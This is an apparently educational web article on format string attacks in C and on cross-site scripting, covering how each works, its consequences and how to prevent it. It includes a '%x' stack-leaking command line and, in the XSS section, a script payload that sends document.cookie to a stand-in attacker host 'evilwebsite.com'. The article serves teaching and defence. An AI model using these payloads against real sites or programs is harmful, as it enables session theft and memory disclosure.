What are format string attacks and how can you prevent them?

Many programming languages use what is called format strings to insert values into a string of text. But unless they are set up properly on the server-side, format strings can be exploited to execute arbitrary code, perform buffer overflow attacks, and extract sensitive information from the web server/application.

Format string history

In September 1999, security researcher Tymm Twillman discovered that format string vulnerabilities could be exploited as an attack vector.

He was performing a security audit of the open-source FTP server ProFTPD, written in the C programming language. What he found was a `printf()` function that passed user-generated data to the web server/application without a proper format string.

After extensive testing of printf-type functions, Twillman demonstrated that a format string attack could be used for privilege escalation.

What is a format string attack?

Most format string attacks exploit the C programming language. But other programming languages, such as Python, can also be vulnerable to format string attacks if its `format()` functions are not properly configured.

One of the most basic functions in the C programming language is `printf()`, which means “print formatted”. The `printf()` function is used to send data to standard output (stdout). That data can be an ASCII text string, but it can also use format specifiers as variables and pass the variables’ values as parameters to the `printf()` function.

Here’s an example:

```
char* dir_name = “Sensitive_Info”;
```

```
int no_of_files = 99;

printf("Directory %s contains d% files", dir_name, no_of_files);
```

In the above example, we have two format specifiers: `%s` and `%d`. `%s` takes the next argument and prints it as a **string**. `%d` takes the next argument and prints it as an **integer**. So `%s` will be bound to the `dir_name` variable, and `%d` will be bound to the `no_of_files` variable. And our output will be:

```
Directory Sensitive_Info contains 99 files
```

Of course, `%s` and `%d` are not the only format specifiers available in C. Different format specifiers are used for various data types. Some examples are `%f` for floating-point values or `%u` for unsigned decimal.

We also have the `%n` format specifier, which, rather than reading from the specified variable, writes to it instead. The `%n` format specifier stores the number of characters that come before encountering `%n` and writes it to memory.

Format functions are powerful tools, and programmers use them extensively to perform automatic type conversions, saving them a lot of time in the process. But, `printf()` format strings can be vulnerable to a variety of attacks if they're not configured properly.

And we should also bear in mind that `printf()` is but one format function out of many. We also have `fprintf()`, which prints to a file, `sprintf()`, which prints to a string, `snprintf()`, which prints to a string with length checking, and many more. And they're all vulnerable to format string attacks.

The format of format string attacks

Format string functions in C can be used without any format specifiers. And that's where the vulnerability lies. Say we have some C code that contains the following:

```
char* user_input = "FooBar";

printf(user_input);
```

If the `printf()` function above was controlled by the server, which would hard-code the `user_input` variable into the format string function, then it would be perfectly safe. However, barring that, a

malicious actor could exploit the format string to mount an attack. Because no format specifier is present, an attacker could compile the program and run it while passing a format specifier to the program as an argument rather than as a normal string.

```
./vulnerableCcode "%x %x %x %x %x\n"
```

Every time `printf()` encounters a format specifier, it expects to find a suitable variable in its argument list for each format specifier it encounters in the format string. In C programs, variables are saved in the stack. When `printf()` sees the first `%x` specifier, it simply refers to the stack and reads the first variable it finds after the format string. This behavior will be repeated for all five `%x` specifiers in our example. And the result will be that `printf()` prints the hex representation of five values from its stack. These values could be variable values, function return addresses, function parameters, user input data, or pointer memory addresses, among other data points.

What kind of damage can a format string attack cause?

If your web server/application is vulnerable to format string attacks, a malicious actor playing with carefully crafted format strings could use them to:

- Crash the program (denial of service)
- View data on the stack
- View memory at arbitrary locations
- Execute arbitrary code
- Write data into arbitrary locations

Format string denial of service attacks typically use multiple instances of the `%s` format specifier (string) to read data from the stack until the program tries to read data from an illegal address and crashes.

Format string reading attacks typically use the `%x` format specifier (hexadecimal values) or the `%p` (pointer) format specifiers to print values stored in memory or in the stack that are not meant to be public.

Format string writing attacks tend to use the `%d` (signed integer), `%u` (unsigned integer), `%x` (hexadecimal) format specifiers, along with the `%n` format specifiers, to force the execution of attacker-supplied shellcode.

Preventing format string attacks

Preventing format string attacks means preventing format string vulnerabilities, which implies keeping certain things in mind while coding your C application.

- If possible, make the format string a constant.
- If the above isn't possible, then always specify a format string as part of the program rather than as an input. You can fix most format string vulnerabilities by simply specifying `%s` as the format string.
- Use FormatGuard. FormatGuard is a small patch to glibc that provides general protection against format bugs. glibc is the standard C libraries package for Linux.

Conclusion

So that was an overview of format string vulnerabilities and attacks. The attacks can be nasty, but thankfully, they're not that hard to prevent. It just takes a bit of due diligence, and you should be fine.

It also shows us that no bug is too small to be exploited. The internet is a hostile place, and one should never assume that such low-level bugs will never be exploited. They will be. It's just a matter of time.

Cross Site Scripting (XSS)

Definition

Cross site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website.
Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it. If the app or website lacks proper data sanitization, the malicious link executes the attacker's chosen code on the user's system. As a result, the attacker can steal the user's active session cookie.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.

How does cross site scripting work?

Here's an example:

<script>
i=new/**/Image();isrc=http://evilwebsite.com/log.php?'+document.cookie+
' '+document.location</script>

While the payload is usually JavaScript, XSS can take place using any client-side language.

To carry out a cross site scripting attack, an attacker injects a malicious script into user-provided input. Attackers can also carry out an attack by modifying a request. If the web app is vulnerable to XSS attacks, the user-supplied input executes as code. For example, in the request below, the script displays a message box with the text "xss."

http://www.site.com/page.php?var=<script>alert('xss');</script>

There are many ways to trigger an XSS attack. For example, the execution could be triggered automatically when the page loads or when a user hovers over specific elements of the page (e.g., hyperlinks).

Potential consequences of cross site scripting attacks include these:

- Capturing the keystrokes of a user.
- Redirecting a user to a malicious website.
- Running web browser-based exploits (e.g., crashing the browser).
- Obtaining the cookie information of a user who is logged into a website (thus compromising the victim's account).

In some cases, the XSS attack leads to a complete compromise of the victim's account. Attackers can trick users into entering credentials on a fake form, which provides all the information to the attacker.

What are the different cross site scripting approaches?

Stored XSS. Takes place when the malicious payload is stored in a database. It renders to other users when data is requested—if there is no output encoding or sanitization.

Reflected XSS. Occurs when a web application sends attacker-provided strings to a victim's browser so that the browser executes part of the string as code. The payload echoes back in response since it doesn't have any server-side output encoding.

DOM-based XSS. Takes place when an attacker injects a script into a response. The attacker can read and manipulate the document object model (DOM) data to craft a malicious URL. The attacker uses this URL to trick a user into clicking it. If the user clicks the link, the attacker can steal the user's active session information, keystrokes, and so on. Unlike stored XSS and reflected XSS, the entire DOM-based XSS attack happens on the client browser (i.e., nothing goes back to the server).

How can you avoid XSS vulnerabilities?

It's important to implement security measures early in the application's development life cycle. For example, carry out software design phase security activities such as architecture risk analysis and threat modeling. It is equally important to conduct security testing once application development is complete.

Strategies to prevent XSS attacks include these:

- Never trust user input.
- Implement output encoding.
- Perform user input validation.
- Follow the defense in depth principle.
- Ensure that web application development aligns with OWASP's XSS Prevention Cheat Sheet.
- After remediation, perform penetration testing to confirm it was successful.

Protect your organization by following secure development guidelines—building security in at all phases of the application's development.